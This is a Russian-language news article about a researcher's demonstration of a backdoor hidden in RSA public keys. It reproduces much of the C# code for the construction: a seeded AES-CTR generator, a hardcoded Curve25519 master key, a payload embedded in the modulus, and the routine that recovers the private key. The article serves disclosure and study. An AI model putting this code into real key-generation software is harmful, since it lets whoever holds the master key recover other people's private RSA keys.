Исследователь продемонстрировал эксплуатацию бэкдора в открытом RSA-ключе

Пользователь GitHub под ником RyanC  сообщил  о бэкдоре в открытом RSA-ключе. По словам исследователя, для того, чтобы один пользователь, имеющий доступ к генератору RSA-ключа, предоставил другому возможность получить закрытый ключ без факторизации и других квантовых компьютеров, достаточно осуществить ряд несложных действий.

Для эксплуатации бэкдора RyanC использовал язык программирования C#, набор API BouncyCastle и библиотеку Chaos.NaCl, в которой реализована эллиптическая кривая Curve25519. Исследователю также потребовался генератор псевдослучайных чисел, инициализированный с помощью случайного значения. RyanC использовал алгоритм блочного шифрования AES в режиме счетчика (CTR).

 using System;

 using System.ComponentModel;
 using Org.BouncyCastle.Crypto.Engines;
 using Org.BouncyCastle.Crypto.Parameters;
 using Org.BouncyCastle.Crypto.Prng;
 using Org.BouncyCastle.Security;
 namespace RsaBackdoor.Backdoor
 {
     class SeededGenerator:IRandomGenerator
     {
         private readonly AesFastEngine _engine = new AesFastEngine();
         private readonly byte[] _counter = new byte[16];
         private readonly byte[] _buf = new byte[16];
         private int bufOffset = 0;
         public SeededGenerator(byte[] key)
         {
             _engine.Init(true, new KeyParameter(key));
             MakeBytes();
         }
         private void MakeBytes()
         {
             bufOffset = 0;
             _engine.ProcessBlock(_counter, 0, _buf, 0);
             IncrementCounter();
         }
         public void IncrementCounter()
         {
             for (int i = 0; i < _counter.Length; i++)
             {
                 _counter[i]++;
                 if (_counter[i] != 0)
                     break;
             }
         }
         public void AddSeedMaterial(byte[] seed)
         {
         }
         public void AddSeedMaterial(long seed)
         {
         }
         public void NextBytes(byte[] bytes)
         {
             NextBytes(bytes, 0, bytes.Length);
         }
         public void NextBytes(byte[] bytes, int start, int len)
         {
             var count = 0;
             while (count < len)
             {
                 var amount = Math.Min(_buf.Length - bufOffset, len - count);
                 Array.Copy(_buf, bufOffset, bytes, start + count, amount);
                 count += amount;
                 bufOffset += amount;
                 if (bufOffset >= _buf.Length)
                 {
                     MakeBytes();
                 }
             }
         }
     }
 }

Исследователь подчеркнул, что для основанного на эллиптической кривой Curve25519 закрытого ключа действительна любая 32-битная последовательность. При этом открытый ключ также всегда является 32-битным. RyanC предварительно сгенерировал мастер-ключ:

private const string MY_PRIVATE_STR = "BDB440EBF1A77CFA014A9CD753F3F6335B1BCDD8ABE30049F10C44243BF3B6C8";
 private static readonly byte[] MY_PRIVATE = StringToByteArray(MY_PRIVATE_STR);

Для каждой пары RSA-ключей исследователь сгенерировал случайную пару с помощью Curve25519, а затем вычислил ключ генератора псевдослучайных чисел.

private void MakeSeedAndPayload(out byte[] seed, out byte[] payload)
 {
     var rnd = new SecureRandom();
     var priv = new byte[32];
     rnd.NextBytes(priv);
     payload = MontgomeryCurve25519.GetPublicKey(priv);
     seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE);
 }

Далее RyanC внедрил использованный для вычисления начального числа открытый ключ Curve25519, который является полезной нагрузкой, в открытый RSA-ключ. Для этого он сгенерировал пару RSA-ключей с помощью генератора псевдослучайных чисел и полученного начального числа.

var publicExponent = new BigInteger("10001", 16);
 var keygen = new RsaKeyPairGenerator();
 keygen.Init(new RsaKeyGenerationParameters(publicExponent, new SecureRandom(new SeededGenerator(seed)), 2048, 80));
 var pair = keygen.GenerateKeyPair();

Стоит отметить, что в алгоритме используются два простых числа p и q. Исследователь заменил их полученной полезной нагрузкой:

 var paramz = ((RsaPrivateCrtKeyParameters) pair.Private);
 var modulus = paramz.Modulus.ToByteArray();
 Replace(modulus, payload, 80);

Далее RyanC вычислил новое значение q':

 q' = n' / p

 var p = paramz.P;
 var n = new BigInteger(modulus);
 var preQ = n.Divide(p);
 var q  = preQ.NextProbablePrime();

Получив новое значение q, исследователь вычислил все параметры пары ключей:

     public AsymmetricCipherKeyPair ComposeKeyPair(BigInteger p, BigInteger q, BigInteger publicExponent)
     {
     if (p.Max(q).Equals(q))
     {
         var tmp = p;
         p = q;
         q = tmp;
     }
     var modulus = p.Multiply(q);
     var p1 = p.Subtract(BigInteger.One);
     var q1 = q.Subtract(BigInteger.One);
     var phi = p1.Multiply(q1);
     var privateExponent = publicExponent.ModInverse(phi);
     var dP = privateExponent.Remainder(p1);
     var dQ = privateExponent.Remainder(q1);
     var qInv = q.ModInverse(p);
     var priv =  new RsaPrivateCrtKeyParameters(modulus, publicExponent, privateExponent, p, q, dP, dQ, qInv);
     return new AsymmetricCipherKeyPair(new RsaKeyParameters(false, priv.Modulus, publicExponent), priv);
 }

Таким образом RyanC получил полезную нагрузку.

public byte[] ExtractPayload(RsaKeyParameters pub)
 {
     var modulus = pub.Modulus.ToByteArray();
     var payload = new byte[32];
     Array.Copy(modulus, 80, payload, 0, 32);
     return payload;
 }

Далее исследователь вычислил начальное число и повторил процесс еще раз для получения закрытого ключа.

public AsymmetricCipherKeyPair BuildKeyFromPayload(byte[] payload)
 {
     var seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE);
     return BuildKey(seed, payload);
 }

С помощью закрытого ключа Curve25519, можно получить закрытый ключ каждого RSA, содержащего бэкдор.